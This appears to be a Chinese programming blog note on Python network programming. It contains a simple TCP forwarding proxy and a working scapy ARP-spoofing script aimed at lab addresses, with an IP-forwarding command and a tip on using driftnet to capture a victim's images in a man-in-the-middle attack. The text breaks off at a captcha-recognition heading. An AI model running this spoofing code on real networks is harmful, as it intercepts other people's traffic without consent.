python之网络编程
proxy:
#coding:utf-8 from socket import * from sys import * LPORT = int(argv[1]) THOST = argv[2] TPORT = int(argv[3]) MainSock = socket(AF_INET,SOCK_STREAM) TargetSock = socket(AF_INET,SOCK_STREAM) def SetSocket(PORT): MainSock.bind(('',PORT)) MainSock.listen(1) def Ldata(MainSock): Lsock,Laddr = MainSock.accept() num = 1 while True: Ldata = Lsock.recv(1024) print "Data From Local:%s" %(Ldata) Tdata = forward(Ldata,THOST,TPORT,num) Lsock.send(Tdata) num =2 def forward(Ldata,THOST,TPORT,num): if num == 1: TargetSock.connect((THOST,TPORT)) TargetSock.send(Ldata) Tdata = TargetSock.recv(1024) print "Data from Server:",Tdata #TargetSock.close() return Tdata else: TargetSock.send(Ldata) Tdata = TargetSock.recv(1024) print "Data from Server:",Tdata #TargetSock.close() return Tdata if __name__ == "__main__": SetSocket(LPORT) Ldata(MainSock)
ARP欺骗:
1 #coding:utf-8 2 3 from scapy.all import * 4 #攻击机:192.168.126.1(kali) 5 #被攻击机:192.168.126.2 6 #网关:192.168.126.3 7 8 lip = "192.168.126.1" 9 lmac = get_if_hwaddr('eth0') #由网卡获取mac地址的函数(本机) 10 tip = "192.168.126.2" 11 tmac = getmacbyip(tip) #由ip获取mac的函数 12 gip = "192.168.126.3" 13 gmac = getmacbyip(gip) 14 15 #构造arp数据包 16 pack = Ether(dst=tmac,src=lmac)/ARP(op=1,hwsrc=lmac,psrc=gip,hwdst=tmac,pdst=tip) 17 #op:代表请求,hwsrc:源mac,psrc:源ip,hwdst:目的mac,pdst:目的ip 18 19 while True: 20 #发送数据包,每两秒发送一个 21 sendp(pack,inter=2,iface="eth0")
开启ip转发(kali):
sysctl net.ipv4.ip_forward=1
结合kali/bt5的小工具:driftnet,将hwsrc配置成网关mac,就可以截取图片,实现中间人攻击
编写图片验证码识别脚本:
需要安装的库(1,3可以pip安装,第二个需要下载源码,编译成exe文件,如果出现错误,将该文件放在python根目录)